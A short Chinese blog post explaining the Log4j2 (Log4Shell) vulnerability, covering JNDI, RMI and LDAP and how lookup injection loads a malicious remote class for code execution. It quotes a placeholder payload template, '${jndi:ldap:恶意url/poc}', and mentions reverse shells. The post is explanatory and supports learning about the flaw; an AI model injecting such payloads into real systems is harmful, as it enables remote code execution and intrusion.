log4j2漏洞

  • log4j2
    log4j2是apache下的java应用常见的开源日志库,java日志记录工具。
  • JNDI
    java命名和目录接口。允许从指定的远程服务器获取并加载对象。
    JNDI相当于一个映射字典,使java应用程序可以和这些命名服务器和目录服务器之间进行交互。
    JNDI注入攻击时常通过RMI和LDAP两种服务,JDBC、LDAP、RMI、DNS、NIS、CORBA。
    JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API。

    1、RMI:远程方法调用
    RMI是java提供的一种技术,允许一个程序调用位于另一个JVM中的对象的方法,就像调用本地方法一样。实现分布式系统,常用于在客户端和服务器之间传递对象和执行远程服务。


    2、LDAP:轻量级目录访问协议
    LDAP开放、跨平台的协议,用于访问和管理基于目录的信息,例如用户、设备和其他资源。
    管理和存储用户认证信息;支持身份验证和访问控制。实现资源分层管理,如组织结构,用户组。
  • log4j2漏洞原理
    log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。在lookup的{}中构造payload,调用JNDI服务向攻击者提前部署号的恶意站点获取恶意的.class对象,造成远程代码执行。(可反弹shell到指定服务器)
    攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

本文作者:予遂计划

本文链接:https://www.cnblogs.com/ysjh/p/18714137

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   予遂计划  阅读(1)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.